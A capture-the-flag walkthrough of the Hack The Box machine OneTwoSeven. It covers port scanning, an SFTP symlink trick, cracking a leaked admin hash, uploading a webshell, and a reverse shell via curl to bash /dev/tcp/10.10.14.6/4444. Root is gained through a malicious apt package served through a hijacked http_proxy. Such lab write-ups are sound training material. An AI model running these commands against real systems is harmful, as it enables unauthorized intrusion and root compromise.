OneTwoSeven

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.133 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,60080 10.10.10.133 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The website shows a signup button, and it says something about SFTP.

The signup page gives us some credentials to access the SFTP server.

Let's add the domain name to our /etc/hosts file.

nano /etc/hosts

Exploitation

Using the credentials that we have, we'll see that there is one directory called public_html in the SFTP server.

sftp ots-mODVhZTM@10.10.10.133

Inside there is one file called index.html.

ls -l public_html/

Let's try to upload a file to that folder.

echo 'testing' > test.txt

We can access it from our personal home page.

http://onetwoseven.htb/~ots-mODVhZTM/test.txt

On SFTP server we could try to make a symlink of the root directory into a file called root.

sftp> symlink / root

Now we'll be able to access the root directory.

http://onetwoseven.htb/~ots-mODVhZTM/root/

There is one directory called htlm-admin in /var/www/.

Inside there is one file called .login.php.swp. Let's download it.

As the file is categorized as a binary, let's get its content with strings.

strings login.php.swp

The file contains a password hash for the ots-admin. It looks like an administration backend hosted on port 60080. The hash can be broken with crackstation.

As SFTP is available, we could do port forwarding of the 60080 port.

ssh -L 60080:127.0.0.1:60080 -N -f ots-mODVhZTM@10.10.10.133

ots-mODVhZTM@10.10.10.133's password: 74f85ae3

By accessing port 60080 of our localhost we'll see an administration backend.

Using the credentials we have for ots-admin, we'll be able to log in.

As we can see, there are a few plugins. The OTS Default User plugin shows credentials for another user.

If we log into the SFTP server with these new credentials, we'll see the flag user.txt.

sftp ots-yODc2NGQ@10.10.10.133

We need to find a way to upload a malicious plugin. The OTS Addon Manager shows that there are RewriteRules.

Let's click the [DL] button to download the source code of the plugin.

To upload a plugin successfully, the script checks if the /addon-upload.php string is in the URL. Then it puts it in the /addons directory. But the Plugin Upload component is disabled.

But, as it is disabled in the front end, we could change it. Select the Submit button, and edit it as HTML.

Then, delete the disabled="disabled" tag. Note that the action tag is set to addon-upload.php. But as we saw in the OTS Addon Manager, some RewriteRules change addon-download.php to addons/ots-man-addon.php. To make it work, we'll have to set the action tag to /addon-download.php/addon-upload.php.

Now, create a simple webshell, and upload it.

nano pwn.php

The webshell gets uploaded successfully.

Time to get a shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, send a reverse shell and get access to the server as www-data.

curl 'http://localhost:60080/addons/pwn.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261"'

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command on our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we check the sudo permissions, we'll see that we can update and upgrade the system as root. We can also change the http_proxy variable.

sudo -l

We could try to redirect to all the server traffic to our machine changing the http_proxy variable, so when we run the update and the upgrade, it will try to check the apt repository from our machine. We could create a malicious .deb file for a new version of any program, so when we do the update, the server will download and execute the malicious .deb file. First, set the http_proxy variable to our proxy.

export http_proxy=http://10.10.14.6:8001

Then, set the proxy on port 8001 on our local machine.

proxy --hostname 0.0.0.0 --port 8001

Now, set the HTTP server from which the server will download the malicious files.

python -m http.server 80

Try to do an update from the machine to see the traffic flowing. As we can see in the proxy, it is trying to fetch data from packages.onetwoseven.htb.

sudo apt-get update

Let's point that domain to our localhost in the /etc/hosts file.

nano /etc/hosts

If we run the update again, we'll see that now it is trying to fetch data from our HTTP server. As we can see, it is trying to get the /devuan/dists/ascii/main/binary-amd64/Packages.gz file. First, create the directories.

mkdir -p devuan/dists/ascii/main/binary-amd64/

As we can see, telnet is currently in the version 0.17-41.

dpkg -l

Now, let's create the malicious .deb file. First create the DEBIAN and usr directories inside malicious_telnet.

mkdir malicious_telnet

mkdir malicious_telnet/DEBIAN

mkdir malicious_telnet/usr

Then, create the malicious_telnet/DEBIAN/control file with the following content.

nano malicious_telnet/DEBIAN/control

Create the file malicious_telnet/DEBIAN/postinst with the bash code that we want to run on the system as root.

nano malicious_telnet/DEBIAN/postinst

Create the telnet_0.17-42_amd64.deb file.

dpkg-deb -b malicious_telnet/ telnet_0.17-42_amd64.deb

Get the SHA-256 hash fo the telnet_0.17-42_amd64.deb file.

sha256sum telnet_0.17-42_amd64.deb

Then, create the malicious Packages file, and compress it.

nano Packages

gzip Packages -c > Packages.gz

Finally, if we update the server, it will download the /devuan/dists/ascii/main/binary-amd64/Packages.gz file, and when we update it, it will download the /devuan/dists/ascii/main/binary-amd64/telnet_0.17-42_amd64.deb and run the bash script we made, giving SUID permissions to the /bin/bash binary.

sudo apt-get update

sudo apt-get upgrade

ls -l /bin/bash

Get a bash as root, and then all we have to do is reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?